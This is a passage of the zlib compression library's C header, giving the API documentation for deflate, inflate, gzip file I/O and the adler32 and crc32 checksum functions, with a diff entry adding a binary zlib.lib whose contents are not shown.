pending output is flushed and deflate returns with Z_STREAM_END if there
was enough output space; if deflate returns with Z_OK, this function must be
called again with Z_FINISH and more output space (updated avail_out) but no
more input data, until it returns with Z_STREAM_END or an error. After
deflate has returned Z_STREAM_END, the only possible operations on the
stream are deflateReset or deflateEnd.
Z_FINISH can be used immediately after deflateInit if all the compression
is to be done in a single step. In this case, avail_out must be at least
0.1% larger than avail_in plus 12 bytes. If deflate does not return
Z_STREAM_END, then it must be called again as described above.
deflate() sets strm->adler to the adler32 checksum of all input read
so far (that is, total_in bytes).
deflate() may update data_type if it can make a good guess about
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
binary. This field is only for information purposes and does not affect
the compression algorithm in any manner.
deflate() returns Z_OK if some progress has been made (more input
processed or more output produced), Z_STREAM_END if all input has been
consumed and all output has been produced (only when flush is set to
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
(for example avail_in or avail_out was zero).
*/
ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
prematurely (some input or output was discarded). In the error case,
msg may be set but then points to a static string (which must not be
deallocated).
*/
/*
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
Initializes the internal stream state for decompression. The fields
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
value depends on the compression method), inflateInit determines the
compression method from the zlib header and allocates all data structures
accordingly; otherwise the allocation will be deferred to the first call of
inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
use default allocation functions.
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
version assumed by the caller. msg is set to null if there is no error
message. inflateInit does not perform any decompression apart from reading
the zlib header if present: this will be done by inflate(). (So next_in and
avail_in may be modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
/*
inflate decompresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may some
introduce some output latency (reading input without producing any output)
except when forced to flush.
The detailed semantics are as follows. inflate performs one or both of the
following actions:
- Decompress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in is updated and processing
will resume at this point for the next call of inflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. inflate() provides as much output as possible, until there
is no more input data or no more space in the output buffer (see below
about the flush parameter).
Before the call of inflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating the next_* and avail_* values accordingly.
The application can consume the uncompressed output when it wants, for
example when the output buffer is full (avail_out == 0), or after each
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
must be called again after making room in the output buffer because there
might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
output as possible to the output buffer. The flushing behavior of inflate is
not specified for values of the flush parameter other than Z_SYNC_FLUSH
and Z_FINISH, but the current implementation actually flushes as much output
as possible anyway.
inflate() should normally be called until it returns Z_STREAM_END or an
error. However if all decompression is to be performed in a single step
(a single call of inflate), the parameter flush should be set to
Z_FINISH. In this case all pending input is processed and all pending
output is flushed; avail_out must be large enough to hold all the
uncompressed data. (The size of the uncompressed data may have been saved
by the compressor for this purpose.) The next operation on this stream must
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
is never required, but can be used to inform inflate that a faster routine
may be used for the single inflate() call.
If a preset dictionary is needed at this point (see inflateSetDictionary
below), inflate sets strm-adler to the adler32 checksum of the
dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
it sets strm->adler to the adler32 checksum of all output produced
so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
an error code as described below. At the end of the stream, inflate()
checks that its computed adler32 checksum is equal to that saved by the
compressor and returns Z_STREAM_END only if the checksum is correct.
inflate() returns Z_OK if some progress has been made (more input processed
or more output produced), Z_STREAM_END if the end of the compressed data has
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
corrupted (input stream not conforming to the zlib format or incorrect
adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
(for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if no progress is possible or if there was not
enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
case, the application may then call inflateSync to look for a good
compression block.
*/
ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
was inconsistent. In the error case, msg may be set but then points to a
static string (which must not be deallocated).
*/
/* Advanced functions */
/*
The following functions are needed only in some special applications.
*/
/*
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
int level,
int method,
int windowBits,
int memLevel,
int strategy));
This is another version of deflateInit with more compression options. The
fields next_in, zalloc, zfree and opaque must be initialized before by
the caller.
The method parameter is the compression method. It must be Z_DEFLATED in
this version of the library.
The windowBits parameter is the base two logarithm of the window size
(the size of the history buffer). It should be in the range 8..15 for this
version of the library. Larger values of this parameter result in better
compression at the expense of memory usage. The default value is 15 if
deflateInit is used instead.
The memLevel parameter specifies how much memory should be allocated
for the internal compression state. memLevel=1 uses minimum memory but
is slow and reduces compression ratio; memLevel=9 uses maximum memory
for optimal speed. The default value is 8. See zconf.h for total memory
usage as a function of windowBits and memLevel.
The strategy parameter is used to tune the compression algorithm. Use the
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
string match). Filtered data consists mostly of small values with a
somewhat random distribution. In this case, the compression algorithm is
tuned to compress them better. The effect of Z_FILTERED is to force more
Huffman coding and less string matching; it is somewhat intermediate
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
the compression ratio but not the correctness of the compressed output even
if it is not set appropriately.
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
method). msg is set to null if there is no error message. deflateInit2 does
not perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the compression dictionary from the given byte sequence
without producing any compressed output. This function must be called
immediately after deflateInit, deflateInit2 or deflateReset, before any
call of deflate. The compressor and decompressor must use exactly the same
dictionary (see inflateSetDictionary).
The dictionary should consist of strings (byte sequences) that are likely
to be encountered later in the data to be compressed, with the most commonly
used strings preferably put towards the end of the dictionary. Using a
dictionary is most useful when the data to be compressed is short and can be
predicted with good accuracy; the data can then be compressed better than
with the default empty dictionary.
Depending on the size of the compression data structures selected by
deflateInit or deflateInit2, a part of the dictionary may in effect be
discarded, for example if the dictionary is larger than the window size in
deflate or deflate2. Thus the strings most likely to be useful should be
put at the end of the dictionary, not at the front.
Upon return of this function, strm->adler is set to the Adler32 value
of the dictionary; the decompressor may later use this value to determine
which dictionary has been used by the compressor. (The Adler32 value
applies to the whole dictionary even if only a subset of the dictionary is
actually used by the compressor.)
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent (for example if deflate has already been called for this stream
or if the compression method is bsort). deflateSetDictionary does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
z_streamp source));
/*
Sets the destination stream as a complete copy of the source stream.
This function can be useful when several compression strategies will be
tried, for example when there are several ways of pre-processing the input
data with a filter. The streams that will be discarded should then be freed
by calling deflateEnd. Note that deflateCopy duplicates the internal
compression state which can be quite large, so this strategy is slow and
can consume lots of memory.
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
(such as zalloc being NULL). msg is left unchanged in both source and
destination.
*/
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
/*
This function is equivalent to deflateEnd followed by deflateInit,
but does not free and reallocate all the internal compression state.
The stream will keep the same compression level and any other attributes
that may have been set by deflateInit2.
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
int level,
int strategy));
/*
Dynamically update the compression level and compression strategy. The
interpretation of level and strategy is as in deflateInit2. This can be
used to switch between compression and straight copy of the input data, or
to switch to a different kind of input data requiring a different
strategy. If the compression level is changed, the input available so far
is compressed with the old level (and may be flushed); the new level will
take effect only at the next call of deflate().
Before the call of deflateParams, the stream state must be set as for
a call of deflate(), since the currently available input may have to
be compressed and flushed. In particular, strm->avail_out must be non-zero.
deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
if strm->avail_out was zero.
*/
/*
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
int windowBits));
This is another version of inflateInit with an extra parameter. The
fields next_in, avail_in, zalloc, zfree and opaque must be initialized
before by the caller.
The windowBits parameter is the base two logarithm of the maximum window
size (the size of the history buffer). It should be in the range 8..15 for
this version of the library. The default value is 15 if inflateInit is used
instead. If a compressed stream with a larger window size is given as
input, inflate() will return with the error code Z_DATA_ERROR instead of
trying to allocate a larger window.
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
memLevel). msg is set to null if there is no error message. inflateInit2
does not perform any decompression apart from reading the zlib header if
present: this will be done by inflate(). (So next_in and avail_in may be
modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the decompression dictionary from the given uncompressed byte
sequence. This function must be called immediately after a call of inflate
if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
can be determined from the Adler32 value returned by this call of
inflate. The compressor and decompressor must use exactly the same
dictionary (see deflateSetDictionary).
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
expected one (incorrect Adler32 value). inflateSetDictionary does not
perform any decompression: this will be done by subsequent calls of
inflate().
*/
ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
/*
Skips invalid compressed data until a full flush point (see above the
description of deflate with Z_FULL_FLUSH) can be found, or until all
available input is skipped. No output is provided.
inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
if no more input was provided, Z_DATA_ERROR if no flush point has been found,
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
case, the application may save the current current value of total_in which
indicates where valid compressed data was found. In the error case, the
application may repeatedly call inflateSync, providing more input each time,
until success or end of the input data.
*/
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
/*
This function is equivalent to inflateEnd followed by inflateInit,
but does not free and reallocate all the internal decompression state.
The stream will keep attributes that may have been set by inflateInit2.
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
/* utility functions */
/*
The following utility functions are implemented on top of the
basic stream-oriented functions. To simplify the interface, some
default options are assumed (compression level and memory usage,
standard memory allocation functions). The source code of these
utility functions can easily be modified if you need special options.
*/
ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Compresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be at least 0.1% larger than
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
compressed buffer.
This function can be used to compress a whole file at once if the
input file is mmap'ed.
compress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer.
*/
ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen,
int level));
/*
Compresses the source buffer into the destination buffer. The level
parameter has the same meaning as in deflateInit. sourceLen is the byte
length of the source buffer. Upon entry, destLen is the total size of the
destination buffer, which must be at least 0.1% larger than sourceLen plus
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
Z_STREAM_ERROR if the level parameter is invalid.
*/
ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Decompresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be large enough to hold the
entire uncompressed data. (The size of the uncompressed data must have
been saved previously by the compressor and transmitted to the decompressor
by some mechanism outside the scope of this compression library.)
Upon exit, destLen is the actual size of the compressed buffer.
This function can be used to decompress a whole file at once if the
input file is mmap'ed.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
typedef voidp gzFile;
ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
/*
Opens a gzip (.gz) file for reading or writing. The mode parameter
is as in fopen ("rb" or "wb") but can also include a compression level
("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
Huffman only compression as in "wb1h". (See the description
of deflateInit2 for more information about the strategy parameter.)
gzopen can be used to read a file which is not in gzip format; in this
case gzread will directly read from the file without decompression.
gzopen returns NULL if the file could not be opened or if there was
insufficient memory to allocate the (de)compression state; errno
can be checked to distinguish the two cases (if errno is zero, the
zlib error is Z_MEM_ERROR). */
ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
/*
gzdopen() associates a gzFile with the file descriptor fd. File
descriptors are obtained from calls like open, dup, creat, pipe or
fileno (in the file has been previously opened with fopen).
The mode parameter is as in gzopen.
The next call of gzclose on the returned gzFile will also close the
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
gzdopen returns NULL if there was insufficient memory to allocate
the (de)compression state.
*/
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
/*
Dynamically update the compression level or strategy. See the description
of deflateInit2 for the meaning of these parameters.
gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
opened for writing.
*/
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
/*
Reads the given number of uncompressed bytes from the compressed file.
If the input file was not in gzip format, gzread copies the given number
of bytes into the buffer.
gzread returns the number of uncompressed bytes actually read (0 for
end of file, -1 for error). */
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
const voidp buf, unsigned len));
/*
Writes the given number of uncompressed bytes into the compressed file.
gzwrite returns the number of uncompressed bytes actually written
(0 in case of error).
*/
ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
/*
Converts, formats, and writes the args to the compressed file under
control of the format string, as in fprintf. gzprintf returns the number of
uncompressed bytes actually written (0 in case of error).
*/
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
/*
Writes the given null-terminated string to the compressed file, excluding
the terminating null character.
gzputs returns the number of characters written, or -1 in case of error.
*/
ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
/*
Reads bytes from the compressed file until len-1 characters are read, or
a newline character is read and transferred to buf, or an end-of-file
condition is encountered. The string is then terminated with a null
character.
gzgets returns buf, or Z_NULL in case of error.
*/
ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
/*
Writes c, converted to an unsigned char, into the compressed file.
gzputc returns the value that was written, or -1 in case of error.
*/
ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
/*
Reads one byte from the compressed file. gzgetc returns this byte
or -1 in case of end of file or error.
*/
ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
/*
Flushes all pending output into the compressed file. The parameter
flush is as in the deflate() function. The return value is the zlib
error number (see function gzerror below). gzflush returns Z_OK if
the flush parameter is Z_FINISH and all output could be flushed.
gzflush should be called only when strictly necessary because it can
degrade compression.
*/
ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
z_off_t offset, int whence));
/*
Sets the starting position for the next gzread or gzwrite on the
given compressed file. The offset represents a number of bytes in the
uncompressed data stream. The whence parameter is defined as in lseek(2);
the value SEEK_END is not supported.
If the file is opened for reading, this function is emulated but can be
extremely slow. If the file is opened for writing, only forward seeks are
supported; gzseek then compresses a sequence of zeroes up to the new
starting position.
gzseek returns the resulting offset location as measured in bytes from
the beginning of the uncompressed stream, or -1 in case of error, in
particular if the file is opened for writing and the new starting position
would be before the current position.
*/
ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
/*
Rewinds the given file. This function is supported only for reading.
gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
*/
ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
/*
Returns the starting position for the next gzread or gzwrite on the
given compressed file. This position represents a number of bytes in the
uncompressed data stream.
gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
*/
ZEXTERN int ZEXPORT gzeof OF((gzFile file));
/*
Returns 1 when EOF has previously been detected reading the given
input stream, otherwise zero.
*/
ZEXTERN int ZEXPORT gzclose OF((gzFile file));
/*
Flushes all pending output if necessary, closes the compressed file
and deallocates all the (de)compression state. The return value is the zlib
error number (see function gzerror below).
*/
ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
/*
Returns the error message for the last error which occurred on the
given compressed file. errnum is set to zlib error number. If an
error occurred in the file system and not in the compression library,
errnum is set to Z_ERRNO and the application may consult errno
to get the exact error code.
*/
/* checksum functions */
/*
These functions are not related to compression but are exported
anyway because they might be useful in applications using the
compression library.
*/
ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
/*
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
return the updated checksum. If buf is NULL, this function returns
the required initial value for the checksum.
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
much faster. Usage example:
uLong adler = adler32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
adler = adler32(adler, buffer, length);
}
if (adler != original_adler) error();
*/
ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
/*
Update a running crc with the bytes buf[0..len-1] and return the updated
crc. If buf is NULL, this function returns the required initial value
for the crc. Pre- and post-conditioning (one's complement) is performed
within this function so it shouldn't be done by the application.
Usage example:
uLong crc = crc32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
crc = crc32(crc, buffer, length);
}
if (crc != original_crc) error();
*/
/* various hacks, don't look :) */
/* deflateInit and inflateInit are macros to allow checking the zlib version
* and the compiler's view of z_stream:
*/
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
const char *version, int stream_size));
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
const char *version, int stream_size));
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
int windowBits, int memLevel,
int strategy, const char *version,
int stream_size));
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
const char *version, int stream_size));
#define deflateInit(strm, level) \
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit(strm) \
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
(strategy), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit2(strm, windowBits) \
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
struct internal_state {int dummy;}; /* hack for buggy compilers */
#endif
ZEXTERN const char * ZEXPORT zError OF((int err));
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
#ifdef __cplusplus
}
#endif
#endif /* _ZLIB_H */

BIN
common/zlib/zlib.lib Normal file

Binary file not shown.